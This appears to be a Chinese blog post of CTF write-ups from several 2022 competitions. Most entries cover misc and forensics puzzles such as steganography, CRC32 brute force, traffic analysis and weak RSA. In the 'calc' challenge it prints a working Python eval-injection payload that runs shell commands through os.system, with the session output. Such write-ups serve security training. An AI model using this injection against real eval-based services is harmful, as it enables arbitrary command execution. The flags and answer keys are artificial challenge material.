2022年9月比赛writeups

2022年第三届电信和互联网行业职业技能竞赛

2022年第三届电信和互联网行业职业技能竞赛

Broken Radio

没出,蹲不到wp

calc

题目附件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
key="[HIDDEN]"

def calc():
line = input(" >>> ")
if(len(line)>9):
return print("500 Internal Server Error\n")
try:
print(eval(line))
except:
pass

def supper_calc():
print("Please enter the invitation code")
code = input(" >>> ")
if(code == key):
line = input(" >>> ")
try:
print(eval(line))
except:
pass
else:
print("403 Forbidden\n")

while(1):
print("What do you want?")
print('1.clac')
print('2.supper clac')
choice = input("Please input your option >>> ")
if(choice == "1"):
calc()
input("press any key to continue...")
elif(choice == "2"):
supper_calc()
input("press any key to continue...")
else:
print("404 NOT FOUND\n")
input("press any key to continue...")

审计代码之后发现有两个选项第一个是calc,然后需要在clac中拿到key,并在supper clac中使用这个key,然后需要注意的是会第一个calc的长度有限制,于是print(eval(line))中使用ssti的payload即可任意命令执行。

可以使用SSTI的payload

1
__builtins__.__dict__['__import__']('os').system('cat /f*')

攻击复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ nc 1.14.97.218 29423                       
What do you want?
1.clac
2.supper clac
Please input your option >>>1
>>>key
0317dcd25f8916b43998be722434ed14
press any key to continue...

What do you want?
1.clac
2.supper clac
Please input your option >>>2
Please enter the invitation code
>>>0317dcd25f8916b43998be722434ed14
>>>__builtins__.__dict__['__import__']('os').system('cat /f*')
flag{47031505122527365331894107816314}
0
press any key to continue...

eye

下载附件可以拿到一个图片,binwalk+foremost得到一个压缩包

可以看到zip里面的文件大小是一样的,所以猜测需要使用后面的crc来爆破

1
工具地址:https://github.com/theonlypwner/crc32

爆破结果(去掉多余的信息)(0x0f84c81e、0x532694fd、0xf2007D19)

1
2
3
4
5
6
7
8
python2 crc32.py reverse 0x0f84c81e
6 bytes: ohhhh_ (OK)

python2 crc32.py reverse 0x532694fd
6 bytes: you_fo (OK)

python2 crc32.py reverse 0xf2007D19
6 bytes: und_me (OK)

所以得到zip的密码:ohhhh_you_found_me。解压得到密文

1
YzMxZDFmMjNlY2VjNjRhYzI4Y2MxMDM2MDY2ZmEx

base64解密之后得到密文:c31d1f23ecec64ac28cc1036066fa1

根据题目名称可以猜测是不是需要使用silenteye

解密得到flag

1
flag{b9bb5b2db051d713e307b2b8b98050ae}

降龙十八掌

降龙十八掌

题目附件给了一个apng的图片,可以用浏览器打开看到有动态效果,可以看到有很多不一样的,使用apngdis_gui提取出来,共557张

1
apngdis_gui下载地址:http://www.downcc.com/soft/40902.html

查看每一张图片,发现有的图片在圆的圆点部分有一个黑点,RGB值为6,7,8,可以猜测使用这个点组成了什么东西

接下来我们只需要提取这个不一样的像素点就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import  os
from PIL import Image
flag_img = Image.new('1', (350,400))
path=r"./apng"
for root, dirs, files in os.walk(path):
for name in files:
png_path=os.path.join(root, name)
image = Image.open(png_path)
image = image.convert("RGB")
width, height = image.size
for w in range(width):
for h in range(height):
if image.getpixel((w, h)) == (6, 7, 8):
flag_img.putpixel((h, w), 1)
flag_img.save("1.png")
flag_img.show()

反色加标志位

扫码即可得到flag

1
DASCTF{18_palmattacks_to_defeat_dragons}

2022望岳杯

2022望岳杯misc附件下载地址

001MMS 协议

MMS流量分析,右键追踪tcp流时发现mms流量中有几个不正常的流量

拼接得到@iH<,{)G7O07k7)ScP!3F}A

然后base91解密得到flag

1
flag{3QSZjGU5qey6}

003攻击行为还原

在crontab文件中发现注释:TVZQVU0zM1NNTlNYMj09PQ==使用base64、base32解密之后得到flag的后半段

e_Force}

然后找到密码的各种参数

1
2
3
4
5
#linux\root\.ssh\id_rsa文件中找到
n=1606938044309278499168642398192229212629290234347717645487123
e=65537
#FlaG.txt文件中找到
c=1566077545968868311749088444723100549024925747577903610033503

然后根据算法得到flag前半部分

1
2
3
4
5
6
7
8
9
from gmpy2 import *
n=1606938044309278499168642398192229212629290234347717645487123
e=65537
c=1566077545968868311749088444723100549024925747577903610033503

phi = (1267650600235241044365044382487-1)*(1267650600260888172240281085029-1)
d = invert(e,phi)
print(bytes.fromhex(hex(pow(c,d,n))[2:]))
# flag{SSH_Brut
1
flag{SSH_Brute_Force}

004留痕取证

直接在流量中搜索flag,定位到tcp.stream eq 16

得到flag后面一段字符:ugana}

在tcp流15中发现了特殊字符

1d918f7de272synt{ohshwv但是根据习惯可以知道synt{ohshwv是rot13加密得到flag前面半段flag{bufuji

1
flag{bufujiugana}

005漏洞挖掘

给的是一个二进制文件,没法直接run需要密码

1
2
3
$ ./d5000_login                                                          
**************************D5000 Authentication Module******************************
usage:./d5000_login password

使用IDA分析看到字符串中有特殊字符串用作是密码

1
6f73684294324280a40c053404133bec
1
2
3
4
5
$ ./d5000_login 6f73684294324280a40c053404133bec        
**************************D5000 Authentication Module******************************
欢迎访问D5000认证模块,正在验证您的密码信息,请稍后...
you have login success!
54656661e280827366617b35302a6f692a6173692a4c6840383268e280826c6769e280826c676430306c676e70732a7344426830317d

得到的字符串使用hex然后栅栏之后得到

1
The flag is flag{d5000*login*pass*is*DLBhh@0812}

006密文破解

已有密文的md5:b9fd??9d5??c1?f6c??abd????5ac??7

已有部分数据:?1_1001_10_600_600_??00??7_202103301539

看起来就是爆破五位字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
data = "{}1_1001_10_600_600_{}{}00{}{}7_202103301539"
md5_data = "b9fd??9d5??c1?f6c??abd????5ac??7"
t=""
for i in range(32,129):#所有可见字符
t += chr(i)
for i1 in t:
for i2 in t:
for i3 in t:
for i4 in t:
for i5 in t:
tmp = data.format(i1,i2,i3,i4,i5)
tmd5 = hashlib.md5(tmp.encode()).hexdigest()
if tmd5[:4] == "b9fd" and tmd5[6:9] == "9d5" and tmd5[-1] == "7":
print(tmp)

# 1_1001_10_600_600_1500.87_202103301539

2022羊城杯

2022羊城杯misc附件下载地址

where_is_secret

文件名vivo50和vig可以知道下面的内容需要维吉尼亚解密

1
Naseu bybkjkl, O wt mna Wkkopwkja hl Qrkgeux Fasxtorr. Zdl Kaozbgj hksu oty fblz hhntyoxj wu tzphvq ku Nqnhbta, hgj pox Qupo geyiuna ago ixkj jhtpyhrhlw hu aak Nblyehg gntr. Nahkj pvwgu pl QBJ Vxwgr Zdbkyzhr, O jlxj ovfkkux zk ikojn fk 29.94 bpgmay-layrbtc vkocpggh jaoyrxt wz kgpphto uhc. Soxt E yxvas mna Ynyoptt wyfe, E dbrh pgbeax ekb mu yvfk pv Nqnhbta ah ha aak rpvk lyxyekxtp.aak lhlysvkj ez ZCDA@K1tz0frjo

使用https://www.guballa.de/vigenere-solver得到密钥gwht和下面的密码

1
Hello friends, I am the President of Ukraine Zelensky. The Russian army has just launched an attack on Ukraine, and the Kyiv airport has been controlled by the Russian army. Heard today is KFC Crazy Thursday, I need someone to bring me 29.94 finger-sucking original chicken as rations now. When I repel the Russian army, I will invite you to come to Ukraine to be the vice president.the password is GWHT@R1nd0yyds

然后得到zip的密码GWHT@R1nd0yyds然后解压得到bmp文件同时根据提示得到一个加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
import math
def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5)
im = Image.new("RGB", (width, width), 0x0)
x, y = 0, 0
for i in text:
index = ord(i)
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im

if __name__ == '__main__':
with open("829962.txt", encoding="gbk") as f:
all_text = f.read()
im = encode(all_text)
im.save("out.bmp")

根据上面的加密脚本得到解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from PIL import Image
import math
# if __name__ == '__main__':
# #(0, 101, 176)
# print((101<<8)+175)
# print(chr((101<<8)+175))
# print(118<<8+244)
# (0, 89, 22)
# for i in range(999999):
# if 371==math.ceil(i ** 0.5):
# print(i)# 136901-137641
# 0x2233
# 0x22
# 0x33
# 118<<8+244
from PIL import Image

img = Image.open('out.bmp') # 371*371
height = img.size[0]
# print(img.size)
width = img.size[1]
flag = ""
for x in range(height):
for y in range(width):
pixel = img.getpixel((y,x))
# print(pixel)
# print(pixel[0],pixel[1],pixel[2])
# print(chr((pixel[1] << 8) + pixel[2]))
flag += chr((pixel[1] << 8) + pixel[2])
new=" "+flag+" "
new=new.replace(" ","")
new=new.replace(",","")
new=new.replace("\n","")
new=new.replace("(","")
new=new.replace(")","")
new=new.replace("。","")
new=new.replace(",","")
new=new.replace("?","")
new=new.replace("  ","")
t=""
print(new)
for i in range(len(new)):
if "_" == new[i]:
t+=new[i]+new[i+1]
print(new[i]+new[i+1])
if 32 < ord(new[i]) < 128:
if ord(new[i-1]) > 129:
x if ord(new[i+1]) > 129 :
t += new[i]
print(new[i-3:i+3],"\t",new[i])
else:
pass
else:
pass
else:
pass
print(t)
with open("829962.txt","w+", encoding="gbk") as f:
all_text = f.write(t)

根据输出结果可以看到flag,然后过滤掉一些关键字符得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
与超越f阿德          f
的意义l—— l
比重快6岁的 6
生来就a身体 a
更好的g动机 g
存在生{理过 {
为重要h的方 h
这孩子7岁时 7
隐瞒了3年最 3
像有某1种东 1
的几步d心理 d
表现由3于自 3
_1
我想是8年— 8
说:“4岁时 4
过夜她2岁时 2
失踪了8天找 8
里关了8天没 8
一耳光n看到 n
儿呆了8天因 8
_t
当时我3岁” 3
让一个3岁小 3
:“我3岁时 3
比我大3岁的 3
是家里5个孩 5
著在我4岁左 4
“记得4岁时 4
嚅嚅低h语这 h
话了有8周完 8
事:“5岁时 5
板整整5分钟 5
的工作8年前 8
上干了8年他 8
孩子合3作的 3
_p
不会再1像那 1
院呆了4年医 4
每个小c孩的 c
和一个3岁的 3
予理会3岁大 3
能成为t进行 t
”:在4岁时 4
个体心u理学 u
的决定r并决 r
只承担5年的 5
“记得3岁时 3
有一个4岁的 4
利喂了7个月 7
了直到3岁他 3
是家里7个孩 7
弟小时3候学 3
是相差3年左 3
右一个3岁的 3
已经有8年之 8
续说了8天而 8
婚姻问}题中 }
清楚到5岁时 5
埃莉诺T格卢 T
只给我5毛钱 5
周只有5毛钱 5
上一周5毛钱 5
1
flag{h1d3_1n_th3_p1ctur3}

迷失幻境

FTK挂载之后使用diskgenius查看是一堆图片和一个可莉,同时在回收站中找到被删除的45,发现45文件头被破坏,修复文件头之后

跟任意一张环境Stegsolve合并之后得到key:可莉前来报道

回收站中还找到另一个图片,使用outguess 隐写得到flag,需要注意outguess执行的位置

1
outguess -k 可莉前来报道 -r RE4UUGI.jpg flag.txt
1
DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

躲猫猫

流量分析得到一个zip,根据这个zip可以分离出key.log和加密脚本,其中的key.log可以用来解密流量包中的tls流量,根据解密后的流量包可以得到一个jpg图片,图片中就是zip的密码,解压得到加密脚本,根据加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
from numpy import array, zeros, uint8
import cv2
from secret import get_x_y
import os

image = cv2.imread("cat.png")
img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)
imagearray = array(img_gray)
h = len(imagearray)
w = len(imagearray[0])
x, y = get_x_y()
#5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328
#6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
cmd = "echo '%s\n%s' > secret" % (x, y)
os.system(cmd)

x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]

temp_image = zeros(shape=[h, w, 3], dtype=uint8)
print(len(temp_image))
print(len(temp_image[0]))
print(len(temp_image[0][1]))
for k in range(0, 1):
for i in range(0, h):
for j in range(0, w):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
for t in range(0, 3):
temp_image[i][j][t] = (((r1+r2) ^ r3)+imagearray[i][j][t]) % 256
x1 = kt[0]
x2 = kt[1]
x3 = kt[2]

encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("missing_cat.png")

然后根据加密脚本逆向得到解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from PIL import Image
import numpy as np
from numpy import array, zeros, uint8
import cv2

image = Image.open("png.png")
re_img = np.asarray(image)
x = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328
y = 6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
x1 = round(x / y * 0.001, 16)
u1 = y * 3650 / x
x2 = round(x / y * 0.00101, 16)
u2 = y * 3675 / x
x3 = round(x / y * 0.00102, 16)
u3 = y * 3680 / x
kt = [x1, x2, x3]
temp_image = zeros(shape=[1800, 1800, 3], dtype=uint8)
print(type(temp_image))
for i in range(0, 1800):
for j in range(0, 1800):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1 * 255)
r2 = int(x2 * 255)
r3 = int(x3 * 255)
for t in range(0, 3):
temp_image[i][j][t] = (re_img[i][j][t] - ((r1 + r2) ^ r3)) % 256
# print(temp_image[i][j][t]-((r1+r2) ^ r3))
# print((temp_image[i][j][t]-((r1+r2) ^ r3))%256)
# img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)
encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("missing_cat.png")

得到图片

可以看到类似是MAxicode,把中间的猫换成圆圈之后得到

手机扫码得到flag

1
GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}